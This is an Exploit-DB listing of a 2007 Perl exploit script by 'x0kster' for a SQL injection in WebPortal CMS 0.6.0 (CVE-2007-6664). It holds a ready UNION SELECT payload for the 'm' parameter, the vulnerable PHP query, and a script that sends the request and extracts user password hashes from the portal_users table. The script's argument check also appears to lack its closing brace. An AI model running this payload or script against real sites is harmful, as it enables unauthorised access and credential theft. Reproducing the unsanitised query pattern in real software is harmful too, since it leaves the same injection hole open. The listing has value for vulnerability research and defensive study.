WebPortal CMS <= 0.6.0 index.php m Remote SQL Injection Exploit

ID EDB-ID:4826
Type exploitdb
Reporter x0kster
Modified 2007-12-31T00:00:00


WebPortal CMS <= 0.6.0 (index.php m) Remote SQL Injection Exploit. CVE-2007-6664. Webapps exploit for php platform

                                            #!/usr/bin/perl -w

# WebPortal CMS &lt;= 0.6.0 Remote Sql Injection Exploit
# Script Site : webportal.ivanoculmine.com
# by x0kster - x0kster[AT]gmail[DOT]com
# PoC : http://site/index.php?m=index.php?m=-1'+union+select+1,concat(uname,0x3a,pass),3,4,5,6,7+from+portal_users+where+id=1/*
# Note : For work register_globals is must be turned on and warning messages too and magic_quotes_gpc must be turned off.
# Vuln Code in index.php:
# &lt;?php
#  [...]
#  if (isset($m)) {
#  $result = db_query ("SELECT * FROM ".$prefix."modules WHERE id='$m';"); &lt;- Vuln Code :-)
#  [...]
# ?&gt;
# If we select an inesistent id of a mod, it'll try to include it.
# So we have a warning error with the hash!.

use LWP::UserAgent;
if (@ARGV &lt; 2){
 print "---------------------------------------------------------------\n";
 print "WebPortal CMS &lt;= 0.6.0 Remote Sql Injection Exploit by x0kster.\n";
 print "Usage : perl $0 site userid \n";
 print "Ex:     perl $0 http://localhost/webportal/ 1\n";
 print "Coded by x0kster -x0kster[AT]gmail[DOT]com   \n";
 print "---------------------------------------------------------------\n";
$b = LWP::UserAgent-&gt;new() or die "[-]LWP::UserAgent error.\n";
$b-&gt;agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
print "[+]Exploiting.\n";
$host = $ARGV[0]."index.php?m=index.php?m=-1'+union+select+1,concat(uname,0x3a,pass),3,4,5,6,7+from+portal_users+where+id=".$ARGV[1]."/*";
$res = $b-&gt;request(HTTP::Request-&gt;new(GET=&gt;$host));
$res-&gt;content =~ /([0-9a-fA-F]{32})/;
print "[+]Ok, hash for username with userid ".$ARGV[1]." is $1\n";
print "[+]Exploiting terminated.\n";
print "[+]Coded by x0kster\n";

# milw0rm.com [2007-12-31]